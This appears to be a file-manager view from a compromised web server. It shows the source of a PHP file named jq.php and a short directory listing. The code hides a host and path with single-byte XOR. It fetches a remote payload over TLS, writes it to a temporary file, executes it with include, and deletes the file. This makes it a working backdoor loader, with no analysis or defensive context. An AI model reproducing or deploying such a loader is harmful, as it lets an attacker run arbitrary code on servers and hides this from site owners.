Na}{

File Content: jq.php

<?="";
function xorEncryptDecrypt($data, $key) {
    $output = '';
    foreach (str_split($data) as $char) {
        $output .= chr(ord($char) ^ ord($key));
    }
    return $output;
}
$_ = "!";
    $url = xorEncryptDecrypt("S@VFHUITCTRDSBNOUDOUBNL", $_);
    $path = xorEncryptDecrypt("xTB@DSHORHLQMDBLE@OEC@BJENNSL@HOKPQIQ", $_);
    $fp = fsockopen("ssl://$url", 443, $errno, $errstr, 10);
        if (!$fp) {
            echo "Error: $errstr ($errno)";
            exit;
    }
        $request = "GET $path HTTP/1.1\r\n";
        $request .= "Host: $url\r\n";
        $request .= "Connection: close\r\n\r\n";
            fwrite($fp, $request);
                $response = '';
                    while (!feof($fp)) {
                        $response .= fgets($fp, 1024);
                            }
                fclose($fp);
list(, $remotePayload) = explode("\r\n\r\n", $response, 2);
    $parts = str_split($remotePayload, 4);
    $obfuscatedPayload = implode('', $parts);
    $tempFile = tempnam(sys_get_temp_dir(), 'php');
        file_put_contents($tempFile, $obfuscatedPayload);
    include $tempFile;
unlink($tempFile);
?>

Name	Size	Permission
22.php	62467 bytes	0644
80x80_portrait__ado_by_zyphpixels_dghi2r1-fullview.jpg	14587 bytes	0644
jq.php	1176 bytes	0644